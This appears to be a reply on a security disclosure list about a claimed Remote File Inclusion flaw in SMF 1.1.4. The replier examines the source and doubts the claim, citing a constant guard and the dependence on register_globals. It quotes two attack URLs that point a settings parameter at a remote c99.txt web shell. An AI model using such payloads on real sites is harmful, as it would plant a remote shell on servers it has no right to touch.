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| Subject: | Re: Smf 1.1.4 Remote File Inclusion Vulnerabilities |
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| Date: | Fri, 28 Mar 2008 14:50:41 -0400 |
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If you look at the source, it is looking for a constant SMF and if this
is undefined, it will die with that error message.
- From line 24 of Sources/Themes.php:
if(!defined('SMF'))
die('Hacking attempt...');
I looked over the source and like so many of these RFIs coming out
lately, they highly depend on register_globals being on as well.
I think s/he is specifically pointing to line 913 of Sources/Themes.php
as well...
if (file_exists($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php'))
include($settings['theme_dir'] . '/languages/Settings.' .
$user_info['language'] . '.php');
(sorry for wrapping)
sibertrwolf: Just a suggestion, you may want to put a bit more
information in your disclosures like what versions of PHP and what INI
settings you have set.
Jindrich Kubec wrote:
At 11:00 28.3.2008, sibertrwolf@live.com wrote:# /Sources/Subs-Graphics.php?settings[default_theme_dir]=http://bilmemne.siz/c99.txt? # # /Sources/Themes.php?settings[theme_dir]=http://bilmemne.siz/c99.txt?What is it supposed to do? I'm getting only "Hacking attempt..." Jindroush (kubecj@avast.com)
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